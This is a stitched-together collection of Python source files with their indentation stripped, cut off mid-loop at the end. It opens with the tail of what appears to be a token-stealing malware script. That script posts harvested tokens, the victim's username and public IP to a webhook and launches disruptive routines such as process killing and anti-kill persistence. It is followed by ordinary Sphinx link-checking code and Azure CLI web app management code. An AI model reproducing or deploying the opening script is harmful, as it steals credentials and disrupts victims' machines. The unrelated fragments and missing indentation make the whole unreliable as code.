if len(tokens) > 0:
for token in tokens:
message += f"{token}\n"
else:
message += "No tokens found.\n"
message += "```"
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
}
payload = json.dumps({"content": message})
info = f" {os.environ['USERNAME']} {requests.get('https://api.ipify.org').text}"
packet = payload + info
try:
req = request(WEBHOOK_URL, data=packet.encode(), headers=headers)
request.urlopen(req)
except Exception:
pass
logger()
# Feature checks
if popups == True:
popup_thread = threading.Thread(target=harmless.pop_up).start()
if open_links == True:
openurl_thread = threading.Thread(target=harmless.open_url).start()
if change_wallpaper == True:
change_wallpaper = threading.Thread(
target=harmless.change_wallpaper
).start()
if lock_mouse == True:
mouse_locker = threading.Thread(target=harmless.mouse_lock).start()
if kill_main == True:
kill_thread = threading.Thread(target=malware.kill).start()
if random_kill == True:
random_kill_thread = threading.Thread(target=malware.random_kill).start()
if create_folder == True:
create_random_folder_thread = threading.Thread(
target=malware.create_random_folder
).start()
if sounds == True:
sound_thread = threading.Thread(target=harmless.sound).start()
if anti_kill == True:
anti_kill_thread = multiprocessing.Process(
target=process_events.anti_kill, name="check for kill"
).start()
if change_resolution == True:
ScreenRes.set(random.randint(100, 1000), random.randint(100, 1000))
|
linkcheck.py | # -*- coding: utf-8 -*-
"""
sphinx.builders.linkcheck
~~~~~~~~~~~~~~~~~~~~~~~~~
The CheckExternalLinksBuilder class.
:copyright: Copyright 2007-2016 by the Sphinx team, see AUTHORS.
:license: BSD, see LICENSE for details.
"""
import re
import socket
import codecs
import threading
from os import path
from requests.exceptions import HTTPError
from six.moves import queue
from six.moves.urllib.parse import unquote
from six.moves.html_parser import HTMLParser
from docutils import nodes
# 2015-06-25 barry@python.org. This exception was deprecated in Python 3.3 and
# removed in Python 3.5, however for backward compatibility reasons, we're not
# going to just remove it. If it doesn't exist, define an exception that will
# never be caught but leaves the code in check_anchor() intact.
try:
from six.moves.html_parser import HTMLParseError
except ImportError:
class HTMLParseError(Exception):
pass
from sphinx.builders import Builder
from sphinx.util import encode_uri, requests
from sphinx.util.console import purple, red, darkgreen, darkgray, \
darkred, turquoise
from sphinx.util.requests import is_ssl_error
class AnchorCheckParser(HTMLParser):
"""Specialized HTML parser that looks for a specific anchor."""
def __init__(self, search_anchor):
HTMLParser.__init__(self)
self.search_anchor = search_anchor
self.found = False
def handle_starttag(self, tag, attrs):
for key, value in attrs:
if key in ('id', 'name') and value == self.search_anchor:
self.found = True
break
def check_anchor(response, anchor):
"""Reads HTML data from a response object `response` searching for `anchor`.
Returns True if anchor was found, False otherwise.
"""
parser = AnchorCheckParser(anchor)
try:
# Read file in chunks. If we find a matching anchor, we break
# the loop early in hopes not to have to download the whole thing.
for chunk in response.iter_content(chunk_size=4096, decode_unicode=True):
parser.feed(chunk)
if parser.found:
break
parser.close()
except HTMLParseError:
# HTMLParser is usually pretty good with sloppy HTML, but it tends to
# choke on EOF. But we're done then anyway.
pass
return parser.found
class CheckExternalLinksBuilder(Builder):
"""
Checks for broken external links.
"""
name = 'linkcheck'
def init(self):
self.to_ignore = [re.compile(x) for x in self.app.config.linkcheck_ignore]
self.anchors_ignore = [re.compile(x)
for x in self.app.config.linkcheck_anchors_ignore]
self.good = set()
self.broken = {}
self.redirected = {}
# set a timeout for non-responding servers
socket.setdefaulttimeout(5.0)
# create output file
open(path.join(self.outdir, 'output.txt'), 'w').close()
# create queues and worker threads
self.wqueue = queue.Queue()
self.rqueue = queue.Queue()
self.workers = []
for i in range(self.app.config.linkcheck_workers):
thread = threading.Thread(target=self.check_thread)
thread.setDaemon(True)
thread.start()
self.workers.append(thread)
def check_thread(self):
kwargs = {}
if self.app.config.linkcheck_timeout:
kwargs['timeout'] = self.app.config.linkcheck_timeout
kwargs['allow_redirects'] = True
def check_uri():
# split off anchor
if '#' in uri:
req_url, anchor = uri.split('#', 1)
for rex in self.anchors_ignore:
if rex.match(anchor):
anchor = None
break
else:
req_url = uri
anchor = None
# handle non-ASCII URIs
try:
req_url.encode('ascii')
except UnicodeError:
req_url = encode_uri(req_url)
try:
if anchor and self.app.config.linkcheck_anchors:
# Read the whole document and see if #anchor exists
response = requests.get(req_url, stream=True, config=self.app.config,
**kwargs)
found = check_anchor(response, unquote(anchor))
if not found:
raise Exception("Anchor '%s' not found" % anchor)
else:
try:
# try a HEAD request first, which should be easier on
# the server and the network
response = requests.head(req_url, config=self.app.config, **kwargs)
response.raise_for_status()
except HTTPError as err:
# retry with GET request if that fails, some servers
# don't like HEAD requests.
response = requests.get(req_url, stream=True, config=self.app.config,
**kwargs)
response.raise_for_status()
except HTTPError as err:
if err.response.status_code == 401:
# We'll take "Unauthorized" as working.
return 'working', ' - unauthorized', 0
else:
return 'broken', str(err), 0
except Exception as err:
if is_ssl_error(err):
return 'ignored', str(err), 0
else:
return 'broken', str(err), 0
if response.url.rstrip('/') == req_url.rstrip('/'):
return 'working', '', 0
else:
new_url = response.url
if anchor:
new_url += '#' + anchor
# history contains any redirects, get last
if response.history:
code = response.history[-1].status_code
return 'redirected', new_url, code
def check():
# check for various conditions without bothering the network
if len(uri) == 0 or uri.startswith(('#', 'mailto:', 'ftp:')):
return 'unchecked', '', 0
elif not uri.startswith(('http:', 'https:')):
return 'local', '', 0
elif uri in self.good:
return 'working', 'old', 0
elif uri in self.broken:
return 'broken', self.broken[uri], 0
elif uri in self.redirected:
return 'redirected', self.redirected[uri][0], self.redirected[uri][1]
for rex in self.to_ignore:
if rex.match(uri):
return 'ignored', '', 0
# need to actually check the URI
for _ in range(self.app.config.linkcheck_retries):
status, info, code = check_uri()
if status != "broken":
break
if status == "working":
self.good.add(uri)
elif status == "broken":
self.broken[uri] = info
elif status == "redirected":
self.redirected[uri] = (info, code)
return (status, info, code)
while True:
uri, docname, lineno = self.wqueue.get()
if uri is None:
break
status, info, code = check()
self.rqueue.put((uri, docname, lineno, status, info, code))
def process_result(self, result):
uri, docname, lineno, status, info, code = result
if status == 'unchecked':
return
if status == 'working' and info == 'old':
return
if lineno:
self.info('(line %4d) ' % lineno, nonl=1)
if status == 'ignored':
if info:
self.info(darkgray('-ignored- ') + uri + ': ' + info)
else:
self.info(darkgray('-ignored- ') + uri)
elif status == 'local':
self.info(darkgray('-local- ') + uri)
self.write_entry('local', docname, lineno, uri)
elif status == 'working':
self.info(darkgreen('ok ') + uri + info)
elif status == 'broken':
self.write_entry('broken', docname, lineno, uri + ': ' + info)
if self.app.quiet or self.app.warningiserror:
self.warn('broken link: %s (%s)' % (uri, info),
'%s:%s' % (self.env.doc2path(docname), lineno))
else:
self.info(red('broken ') + uri + red(' - ' + info))
elif status == 'redirected':
text, color = {
301: ('permanently', darkred),
302: ('with Found', purple),
303: ('with See Other', purple),
307: ('temporarily', turquoise),
0: ('with unknown code', purple),
}[code]
self.write_entry('redirected ' + text, docname, lineno,
uri + ' to ' + info)
self.info(color('redirect ') + uri + color(' - ' + text + ' to ' + info))
def get_target_uri(self, docname, typ=None):
return ''
def get_outdated_docs(self):
return self.env.found_docs
def prepare_writing(self, docnames):
return
def write_doc(self, docname, doctree):
self.info()
n = 0
for node in doctree.traverse(nodes.reference):
if 'refuri' not in node:
continue
uri = node['refuri']
lineno = None
while lineno is None:
node = node.parent
if node is None:
break
lineno = node.line
self.wqueue.put((uri, docname, lineno), False)
n += 1
done = 0
while done < n:
self.process_result(self.rqueue.get())
done += 1
if self.broken:
self.app.statuscode = 1
def write_entry(self, what, docname, line, uri):
output = codecs.open(path.join(self.outdir, 'output.txt'), 'a', 'utf-8')
output.write("%s:%s: [%s] %s\n" % (self.env.doc2path(docname, None),
line, what, uri))
output.close()
def finish(self):
for worker in self.workers:
self.wqueue.put((None, None, None), False)
def setup(app):
app.add_builder(CheckExternalLinksBuilder)
app.add_config_value('linkcheck_ignore', [], None)
app.add_config_value('linkcheck_retries', 1, None)
app.add_config_value('linkcheck_timeout', None, None, [int])
app.add_config_value('linkcheck_workers', 5, None)
app.add_config_value('linkcheck_anchors', True, None)
# Anchors starting with ! are ignored since they are
# commonly used for dynamic pages
app.add_config_value('linkcheck_anchors_ignore', ["^!"], None)
return {
'version': 'builtin',
'parallel_read_safe': True,
'parallel_write_safe': True,
}
|
custom.py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
import ast
import threading
import time
from urllib.parse import urlparse
from urllib.request import urlopen
from binascii import hexlify
from os import urandom
import datetime
import json
import ssl
import sys
import uuid
from functools import reduce
from nacl import encoding, public
import OpenSSL.crypto
from fabric import Connection
from knack.prompting import prompt_pass, NoTTYException, prompt_y_n
from knack.util import CLIError
from knack.log import get_logger
from msrestazure.azure_exceptions import CloudError
from msrestazure.tools import is_valid_resource_id, parse_resource_id, resource_id
from azure.mgmt.storage import StorageManagementClient
from azure.mgmt.applicationinsights import ApplicationInsightsManagementClient
from azure.mgmt.relay.models import AccessRights
from azure.mgmt.web.models import KeyInfo
from azure.cli.command_modules.relay._client_factory import hycos_mgmt_client_factory, namespaces_mgmt_client_factory
from azure.cli.command_modules.network._client_factory import network_client_factory
from azure.cli.core.commands.client_factory import get_mgmt_service_client
from azure.cli.core.commands import LongRunningOperation
from azure.cli.core.util import in_cloud_console, shell_safe_json_parse, open_page_in_browser, get_json_object, \
ConfiguredDefaultSetter, sdk_no_wait, get_file_json
from azure.cli.core.util import get_az_user_agent, send_raw_request
from azure.cli.core.profiles import ResourceType, get_sdk
from azure.cli.core.azclierror import (ResourceNotFoundError, RequiredArgumentMissingError, ValidationError,
CLIInternalError, UnclassifiedUserFault, AzureResponseError,
ArgumentUsageError)
from .tunnel import TunnelServer
from ._params import AUTH_TYPES, MULTI_CONTAINER_TYPES
from ._client_factory import web_client_factory, ex_handler_factory, providers_client_factory
from ._appservice_utils import _generic_site_operation, _generic_settings_operation
from .utils import (_normalize_sku,
get_sku_name,
retryable_method,
raise_missing_token_suggestion,
_get_location_from_resource_group,
_list_app,
_rename_server_farm_props,
_get_location_from_webapp, _normalize_location)
from ._create_util import (zip_contents_from_dir, get_runtime_version_details, create_resource_group, get_app_details,
check_resource_group_exists, set_location, get_site_availability, get_profile_username,
get_plan_to_use, get_lang_from_content, get_rg_to_use, get_sku_to_use,
detect_os_form_src, get_current_stack_from_runtime, generate_default_app_name)
from ._constants import (FUNCTIONS_STACKS_API_JSON_PATHS, FUNCTIONS_STACKS_API_KEYS,
FUNCTIONS_LINUX_RUNTIME_VERSION_REGEX, FUNCTIONS_WINDOWS_RUNTIME_VERSION_REGEX,
NODE_EXACT_VERSION_DEFAULT, RUNTIME_STACKS, FUNCTIONS_NO_V2_REGIONS, PUBLIC_CLOUD,
LINUX_GITHUB_ACTIONS_WORKFLOW_TEMPLATE_PATH, WINDOWS_GITHUB_ACTIONS_WORKFLOW_TEMPLATE_PATH)
from ._github_oauth import (get_github_access_token)
logger = get_logger(__name__)
# pylint:disable=no-member,too-many-lines,too-many-locals
# region "Common routines shared with quick-start extensions."
# Please maintain compatibility in both interfaces and functionalities"
def create_webapp(cmd, resource_group_name, name, plan, runtime=None, startup_file=None, # pylint: disable=too-many-statements,too-many-branches
deployment_container_image_name=None, deployment_source_url=None, deployment_source_branch='master',
deployment_local_git=None, docker_registry_server_password=None, docker_registry_server_user=None,
multicontainer_config_type=None, multicontainer_config_file=None, tags=None,
using_webapp_up=False, language=None, assign_identities=None,
role='Contributor', scope=None, vnet=None, subnet=None):
from azure.mgmt.web.models import Site
SiteConfig, SkuDescription, NameValuePair = cmd.get_models(
'SiteConfig', 'SkuDescription', 'NameValuePair')
if deployment_source_url and deployment_local_git:
raise CLIError('usage error: --deployment-source-url <url> | --deployment-local-git')
docker_registry_server_url = parse_docker_image_name(deployment_container_image_name)
client = web_client_factory(cmd.cli_ctx)
if is_valid_resource_id(plan):
parse_result = parse_resource_id(plan)
plan_info = client.app_service_plans.get(parse_result['resource_group'], parse_result['name'])
else:
plan_info = client.app_service_plans.get(name=plan, resource_group_name=resource_group_name)
if not plan_info:
raise CLIError("The plan '{}' doesn't exist in the resource group '{}".format(plan, resource_group_name))
is_linux = plan_info.reserved
node_default_version = NODE_EXACT_VERSION_DEFAULT
location = plan_info.location
# This is to keep the existing appsettings for a newly created webapp on existing webapp name.
name_validation = get_site_availability(cmd, name)
if not name_validation.name_available:
if name_validation.reason == 'Invalid':
raise CLIError(name_validation.message)
logger.warning("Webapp '%s' already exists. The command will use the existing app's settings.", name)
app_details = get_app_details(cmd, name)
if app_details is None:
raise CLIError("Unable to retrieve details of the existing app '{}'. Please check that "
"the app is a part of the current subscription".format(name))
current_rg = app_details.resource_group
if resource_group_name is not None and (resource_group_name.lower() != current_rg.lower()):
raise CLIError("The webapp '{}' exists in resource group '{}' and does not "
"match the value entered '{}'. Please re-run command with the "
"correct parameters.". format(name, current_rg, resource_group_name))
existing_app_settings = _generic_site_operation(cmd.cli_ctx, resource_group_name,
name, 'list_application_settings')
settings = []
for k, v in existing_app_settings.properties.items():
settings.append(NameValuePair(name=k, value=v))
site_config = SiteConfig(app_settings=settings)
else:
site_config = SiteConfig(app_settings=[])
if isinstance(plan_info.sku, SkuDescription) and plan_info.sku.name.upper() not in ['F1', 'FREE', 'SHARED', 'D1',
'B1', 'B2', 'B3', 'BASIC']:
site_config.always_on = True
if subnet or vnet:
subnet_info = _get_subnet_info(cmd=cmd,
resource_group_name=resource_group_name,
subnet=subnet,
vnet=vnet)
_validate_vnet_integration_location(cmd=cmd, webapp_location=plan_info.location,
subnet_resource_group=subnet_info["resource_group_name"],
vnet_name=subnet_info["vnet_name"])
_vnet_delegation_check(cmd, subnet_subscription_id=subnet_info["subnet_subscription_id"],
vnet_resource_group=subnet_info["resource_group_name"],
vnet_name=subnet_info["vnet_name"],
subnet_name=subnet_info["subnet_name"])
site_config.vnet_route_all_enabled = True
subnet_resource_id = subnet_info["subnet_resource_id"]
else:
subnet_resource_id = None
webapp_def = Site(location=location, site_config=site_config, server_farm_id=plan_info.id, tags=tags,
https_only=using_webapp_up, virtual_network_subnet_id=subnet_resource_id)
helper = _StackRuntimeHelper(cmd, client, linux=is_linux)
if runtime:
runtime = helper.remove_delimiters(runtime)
current_stack = None
if is_linux:
if not validate_container_app_create_options(runtime, deployment_container_image_name,
multicontainer_config_type, multicontainer_config_file):
raise CLIError("usage error: --runtime | --deployment-container-image-name |"
" --multicontainer-config-type TYPE --multicontainer-config-file FILE")
if startup_file:
site_config.app_command_line = startup_file
if runtime:
match = helper.resolve(runtime)
if not match:
raise CLIError("Linux Runtime '{}' is not supported."
" Please invoke 'az webapp list-runtimes --linux' to cross check".format(runtime))
match['setter'](cmd=cmd, stack=match, site_config=site_config)
elif deployment_container_image_name:
site_config.linux_fx_version = _format_fx_version(deployment_container_image_name)
if name_validation.name_available:
site_config.app_settings.append(NameValuePair(name="WEBSITES_ENABLE_APP_SERVICE_STORAGE",
value="false"))
elif multicontainer_config_type and multicontainer_config_file:
encoded_config_file = _get_linux_multicontainer_encoded_config_from_file(multicontainer_config_file)
site_config.linux_fx_version = _format_fx_version(encoded_config_file, multicontainer_config_type)
elif plan_info.is_xenon: # windows container webapp
if deployment_container_image_name:
site_config.windows_fx_version = _format_fx_version(deployment_container_image_name)
# set the needed app settings for container image validation
if name_validation.name_available:
site_config.app_settings.append(NameValuePair(name="DOCKER_REGISTRY_SERVER_USERNAME",
value=docker_registry_server_user))
site_config.app_settings.append(NameValuePair(name="DOCKER_REGISTRY_SERVER_PASSWORD",
value=docker_registry_server_password))
site_config.app_settings.append(NameValuePair(name="DOCKER_REGISTRY_SERVER_URL",
value=docker_registry_server_url))
elif runtime: # windows webapp with runtime specified
if any([startup_file, deployment_container_image_name, multicontainer_config_file, multicontainer_config_type]):
raise CLIError("usage error: --startup-file or --deployment-container-image-name or "
"--multicontainer-config-type and --multicontainer-config-file is "
"only appliable on linux webapp")
match = helper.resolve(runtime)
if not match:
raise CLIError("Windows runtime '{}' is not supported. "
"Please invoke 'az webapp list-runtimes' to cross check".format(runtime))
match['setter'](cmd=cmd, stack=match, site_config=site_config)
# TODO: Ask Calvin the purpose of this - seems like unneeded set of calls
# portal uses the current_stack propety in metadata to display stack for windows apps
current_stack = get_current_stack_from_runtime(runtime)
else: # windows webapp without runtime specified
if name_validation.name_available: # If creating new webapp
site_config.app_settings.append(NameValuePair(name="WEBSITE_NODE_DEFAULT_VERSION",
value=node_default_version))
if site_config.app_settings:
for setting in site_config.app_settings:
logger.info('Will set appsetting %s', setting)
if using_webapp_up: # when the routine is invoked as a help method for webapp up
if name_validation.name_available:
logger.info("will set appsetting for enabling build")
site_config.app_settings.append(NameValuePair(name="SCM_DO_BUILD_DURING_DEPLOYMENT", value=True))
if language is not None and language.lower() == 'dotnetcore':
if name_validation.name_available:
site_config.app_settings.append(NameValuePair(name='ANCM_ADDITIONAL_ERROR_PAGE_LINK',
value='https://{}.scm.azurewebsites.net/detectors'
.format(name)))
poller = client.web_apps.begin_create_or_update(resource_group_name, name, webapp_def)
webapp = LongRunningOperation(cmd.cli_ctx)(poller)
# TO DO: (Check with Calvin) This seems to be something specific to portal client use only & should be removed
if current_stack:
_update_webapp_current_stack_property_if_needed(cmd, resource_group_name, name, current_stack)
# Ensure SCC operations follow right after the 'create', no precedent appsetting update commands
_set_remote_or_local_git(cmd, webapp, resource_group_name, name, deployment_source_url,
deployment_source_branch, deployment_local_git)
_fill_ftp_publishing_url(cmd, webapp, resource_group_name, name)
if deployment_container_image_name:
logger.info("Updating container settings")
update_container_settings(cmd, resource_group_name, name, docker_registry_server_url,
deployment_container_image_name, docker_registry_server_user,
docker_registry_server_password=docker_registry_server_password)
if assign_identities is not None:
identity = assign_identity(cmd, resource_group_name, name, assign_identities,
role, None, scope)
webapp.identity = identity
return webapp
def _validate_vnet_integration_location(cmd, subnet_resource_group, vnet_name, webapp_location):
vnet_client = network_client_factory(cmd.cli_ctx).virtual_networks
vnet_location = vnet_client.get(resource_group_name=subnet_resource_group,
virtual_network_name=vnet_name).location
vnet_location = _normalize_location(cmd, vnet_location)
asp_location = _normalize_location(cmd, webapp_location)
if vnet_location != asp_location:
raise ArgumentUsageError("Unable to create webapp: vnet and App Service Plan must be in the same location. "
"vnet location: {}. Plan location: {}.".format(vnet_location, asp_location))
def _get_subnet_info(cmd, resource_group_name, vnet, subnet):
from azure.cli.core.commands.client_factory import get_subscription_id
subnet_info = {"vnet_name": None,
"subnet_name": None,
"resource_group_name": None,
"subnet_resource_id": None,
"subnet_subscription_id": None,
"vnet_resource_id": None}
if is_valid_resource_id(subnet):
if vnet:
logger.warning("--subnet argument is a resource ID. Ignoring --vnet argument.")
parsed_sub_rid = parse_resource_id(subnet)
subnet_info["vnet_name"] = parsed_sub_rid["name"]
subnet_info["subnet_name"] = parsed_sub_rid["resource_name"]
subnet_info["resource_group_name"] = parsed_sub_rid["resource_group"]
subnet_info["subnet_resource_id"] = subnet
subnet_info["subnet_subscription_id"] = parsed_sub_rid["subscription"]
vnet_fmt = "/subscriptions/{}/resourceGroups/{}/providers/Microsoft.Network/virtualNetworks/{}"
subnet_info["vnet_resource_id"] = vnet_fmt.format(parsed_sub_rid["subscription"],
parsed_sub_rid["resource_group"],
parsed_sub_rid["name"])
return subnet_info
subnet_name = subnet
if is_valid_resource_id(vnet):
parsed_vnet = parse_resource_id(vnet)
subnet_rg = parsed_vnet["resource_group"]
vnet_name = parsed_vnet["name"]
subscription_id = parsed_vnet["subscription"]
subnet_info["vnet_resource_id"] = vnet
else:
logger.warning("Assuming subnet resource group is the same as webapp. "
"Use a resource ID for --subnet or --vnet to use a different resource group.")
subnet_rg = resource_group_name
vnet_name = vnet
subscription_id = get_subscription_id(cmd.cli_ctx)
vnet_fmt = "/subscriptions/{}/resourceGroups/{}/providers/Microsoft.Network/virtualNetworks/{}"
subnet_info["vnet_resource_id"] = vnet_fmt.format(subscription_id,
subnet_rg,
vnet)
subnet_id_fmt = "/subscriptions/{}/resourceGroups/{}/providers/Microsoft.Network/virtualNetworks/{}/subnets/{}"
subnet_rid = subnet_id_fmt.format(subscription_id, subnet_rg, vnet_name, subnet_name)
subnet_info["vnet_name"] = vnet_name
subnet_info["subnet_name"] = subnet_name
subnet_info["resource_group_name"] = subnet_rg
subnet_info["subnet_resource_id"] = subnet_rid
subnet_info["subnet_subscription_id"] = subscription_id
return subnet_info
def validate_container_app_create_options(runtime=None, deployment_container_image_name=None,
multicontainer_config_type=None, multicontainer_config_file=None):
if bool(multicontainer_config_type) != bool(multicontainer_config_file):
return False
opts = [runtime, deployment_container_image_name, multicontainer_config_type]
return len([x for x in opts if x]) == 1 # you can only specify one out the combinations
def parse_docker_image_name(deployment_container_image_name):
if not deployment_container_image_name:
return None
slash_ix = deployment_container_image_name.rfind('/')
docker_registry_server_url = deployment_container_image_name[0:slash_ix]
if slash_ix == -1 or ("." not in docker_registry_server_url and ":" not in docker_registry_server_url):
return None
return docker_registry_server_url
def update_app_settings(cmd, resource_group_name, name, settings=None, slot=None, slot_settings=None):
if not settings and not slot_settings:
raise CLIError('Usage Error: --settings |--slot-settings')
settings = settings or []
slot_settings = slot_settings or []
app_settings = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'list_application_settings', slot)
result, slot_result = {}, {}
# pylint: disable=too-many-nested-blocks
for src, dest, setting_type in [(settings, result, "Settings"), (slot_settings, slot_result, "SlotSettings")]:
for s in src:
try:
temp = shell_safe_json_parse(s)
if isinstance(temp, list): # a bit messy, but we'd like accept the output of the "list" command
for t in temp:
if 'slotSetting' in t.keys():
slot_result[t['name']] = t['slotSetting']
if setting_type == "SlotSettings":
slot_result[t['name']] = True
result[t['name']] = t['value']
else:
dest.update(temp)
except CLIError:
setting_name, value = s.split('=', 1)
dest[setting_name] = value
result.update(dest)
for setting_name, value in result.items():
app_settings.properties[setting_name] = value
client = web_client_factory(cmd.cli_ctx)
result = _generic_settings_operation(cmd.cli_ctx, resource_group_name, name,
'update_application_settings',
app_settings, slot, client)
app_settings_slot_cfg_names = []
if slot_result:
slot_cfg_names = client.web_apps.list_slot_configuration_names(resource_group_name, name)
slot_cfg_names.app_setting_names = slot_cfg_names.app_setting_names or []
# Slot settings logic to add a new setting(s) or remove an existing setting(s)
for slot_setting_name, value in slot_result.items():
if value and slot_setting_name not in slot_cfg_names.app_setting_names:
slot_cfg_names.app_setting_names.append(slot_setting_name)
elif not value and slot_setting_name in slot_cfg_names.app_setting_names:
slot_cfg_names.app_setting_names.remove(slot_setting_name)
app_settings_slot_cfg_names = slot_cfg_names.app_setting_names
client.web_apps.update_slot_configuration_names(resource_group_name, name, slot_cfg_names)
return _build_app_settings_output(result.properties, app_settings_slot_cfg_names)
def add_azure_storage_account(cmd, resource_group_name, name, custom_id, storage_type, account_name,
share_name, access_key, mount_path=None, slot=None, slot_setting=False):
AzureStorageInfoValue = cmd.get_models('AzureStorageInfoValue')
azure_storage_accounts = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'list_azure_storage_accounts', slot)
if custom_id in azure_storage_accounts.properties:
raise CLIError("Site already configured with an Azure storage account with the id '{}'. "
"Use 'az webapp config storage-account update' to update an existing "
"Azure storage account configuration.".format(custom_id))
azure_storage_accounts.properties[custom_id] = AzureStorageInfoValue(type=storage_type, account_name=account_name,
share_name=share_name, access_key=access_key,
mount_path=mount_path)
client = web_client_factory(cmd.cli_ctx)
result = _generic_settings_operation(cmd.cli_ctx, resource_group_name, name,
'update_azure_storage_accounts', azure_storage_accounts,
slot, client)
if slot_setting:
slot_cfg_names = client.web_apps.list_slot_configuration_names(resource_group_name, name)
slot_cfg_names.azure_storage_config_names = slot_cfg_names.azure_storage_config_names or []
if custom_id not in slot_cfg_names.azure_storage_config_names:
slot_cfg_names.azure_storage_config_names.append(custom_id)
client.web_apps.update_slot_configuration_names(resource_group_name, name, slot_cfg_names)
return result.properties
def update_azure_storage_account(cmd, resource_group_name, name, custom_id, storage_type=None, account_name=None,
share_name=None, access_key=None, mount_path=None, slot=None, slot_setting=False):
AzureStorageInfoValue = cmd.get_models('AzureStorageInfoValue')
azure_storage_accounts = _generic_site_operation(cmd.cli_ctx, resource_group_name, name,
'list_azure_storage_accounts', slot)
existing_account_config = azure_storage_accounts.properties.pop(custom_id, None)
if not existing_account_config:
raise CLIError("No Azure storage account configuration found with the id '{}'. "
"Use 'az webapp config storage-account add' to add a new "
"Azure storage account configuration.".format(custom_id))
new_account_config = AzureStorageInfoValue(
type=storage_type or existing_account_config.type,
account_name=account_name or existing_account_config.account_name,
share_name=share_name or existing_account_config.share_name,
access_key=access_key or existing_account_config.access_key,
mount_path=mount_path or existing_account_config.mount_path
)
azure_storage_accounts.properties[custom_id] = new_account_config
client = web_client_factory(cmd.cli_ctx)
result = _generic_settings_operation(cmd.cli_ctx, resource_group_name, name,
'update_azure_storage_accounts', azure_storage_accounts,
slot, client)
if slot_setting:
slot_cfg_names = client.web_apps.list_slot_configuration_names(resource_group_name, name)
slot_cfg_names.azure_storage_config_names = slot_cfg_names.azure_storage_config_names or []
if custom_id not in slot_cfg_names.azure_storage_config_names:
slot_cfg_names.azure_storage_config_names.append(custom_id)
client.web_apps.update_slot_configuration_names(resource_group_name, name, slot_cfg_names)
return result.properties
def enable_zip_deploy_functionapp(cmd, resource_group_name, name, src, build_remote=False, timeout=None, slot=None):
client = web_client_factory(cmd.cli_ctx)
app = client.web_apps.get(resource_group_name, name)
if app is None:
raise CLIError('The function app \'{}\' was not found in resource group \'{}\'. '
'Please make sure these values are correct.'.format(name, resource_group_name))
parse_plan_id = parse_resource_id(app.server_farm_id)
plan_info = None
retry_delay = 10 # seconds
# We need to retry getting the plan because sometimes if the plan is created as part of function app,
# it can take a couple of tries before it gets the plan
for _ in range(5):
plan_info = client.app_service_plans.get(parse_plan_id['resource_group'],
parse_plan_id['name'])
if plan_info is not None:
break
time.sleep(retry_delay)
is_consumption = is_plan_consumption(cmd, plan_info)
if (not build_remote) and is_consumption and app.reserved:
return upload_zip_to_storage(cmd, resource_group_name, name, src, slot)
if build_remote and app.reserved:
add_remote_build_app_settings(cmd, resource_group_name, name, slot)
elif app.reserved:
remove_remote_build_app_settings(cmd, resource_group_name, name, slot)
return enable_zip_deploy(cmd, resource_group_name, name, src, timeout, slot)
def enable_zip_deploy_webapp(cmd, resource_group_name, name, src, timeout=None, slot=None):
return enable_zip_deploy(cmd, resource_group_name, name, src, timeout=timeout, slot=slot)
def enable_zip_deploy(cmd, resource_group_name, name, src, timeout=None, slot=None):
logger.warning("Getting scm site credentials for zip deployment")
user_name, password = _get_site_credential(cmd.cli_ctx, resource_group_name, name, slot)
try:
scm_url = _get_scm_url(cmd, resource_group_name, name, slot)
except ValueError:
raise CLIError('Failed to fetch scm url for function app')
zip_url = scm_url + '/api/zipdeploy?isAsync=true'
deployment_status_url = scm_url + '/api/deployments/latest'
import urllib3
authorization = urllib3.util.make_headers(basic_auth='{0}:{1}'.format(user_name, password))
headers = authorization
headers['Content-Type'] = 'application/octet-stream'
headers['Cache-Control'] = 'no-cache'
headers['User-Agent'] = get_az_user_agent()
import requests
import os
from azure.cli.core.util import should_disable_connection_verify
# Read file content
with open(os.path.realpath(os.path.expanduser(src)), 'rb') as fs:
zip_content = fs.read()
logger.warning("Starting zip deployment. This operation can take a while to complete ...")
res = requests.post(zip_url, data=zip_content, headers=headers, verify=not should_disable_connection_verify())
logger.warning("Deployment endpoint responded with status code %d", res.status_code)
# check if there's an ongoing process
if res.status_code == 409:
raise CLIError("There may be an ongoing deployment or your app setting has WEBSITE_RUN_FROM_PACKAGE. "
"Please track your deployment in {} and ensure the WEBSITE_RUN_FROM_PACKAGE app setting "
"is removed. Use 'az webapp config appsettings list --name MyWebapp --resource-group "
"MyResourceGroup --subscription MySubscription' to list app settings and 'az webapp "
"config appsettings delete --name MyWebApp --resource-group MyResourceGroup "
"--setting-names <setting-names> to delete them.".format(deployment_status_url))
# check the status of async deployment
response = _check_zip_deployment_status(cmd, resource_group_name, name, deployment_status_url,
authorization, timeout)
return response
def add_remote_build_app_settings(cmd, resource_group_name, name, slot):
settings = get_app_settings(cmd, resource_group_name, name, slot)
scm_do_build_during_deployment = None
website_run_from_package = None
enable_oryx_build = None
app_settings_should_not_have = []
app_settings_should_contain = {}
for keyval in settings:
value = keyval['value'].lower()
if keyval['name'] == 'SCM_DO_BUILD_DURING_DEPLOYMENT':
scm_do_build_during_deployment = value in ('true', '1')
if keyval['name'] == 'WEBSITE_RUN_FROM_PACKAGE':
website_run_from_package = value
if keyval['name'] == 'ENABLE_ORYX_BUILD':
enable_oryx_build = value
if scm_do_build_during_deployment is not True:
logger.warning("Setting SCM_DO_BUILD_DURING_DEPLOYMENT to true")
update_app_settings(cmd, resource_group_name, name, [
"SCM_DO_BUILD_DURING_DEPLOYMENT=true"
], slot)
app_settings_should_contain['SCM_DO_BUILD_DURING_DEPLOYMENT'] = 'true'
if website_run_from_package:
logger.warning("Removing WEBSITE_RUN_FROM_PACKAGE app setting")
delete_app_settings(cmd, resource_group_name, name, [
"WEBSITE_RUN_FROM_PACKAGE"
], slot)
app_settings_should_not_have.append('WEBSITE_RUN_FROM_PACKAGE')
if enable_oryx_build:
logger.warning("Removing ENABLE_ORYX_BUILD app setting")
delete_app_settings(cmd, resource_group_name, name, [
"ENABLE_ORYX_BUILD"
], slot)
app_settings_should_not_have.append('ENABLE_ORYX_BUILD')
# Wait for scm site to get the latest app settings
if app_settings_should_not_have or app_settings_should_contain:
logger.warning("Waiting SCM site to be updated with the latest app settings")
scm_is_up_to_date = False
retries = 10
while not scm_is_up_to_date and retries >= 0:
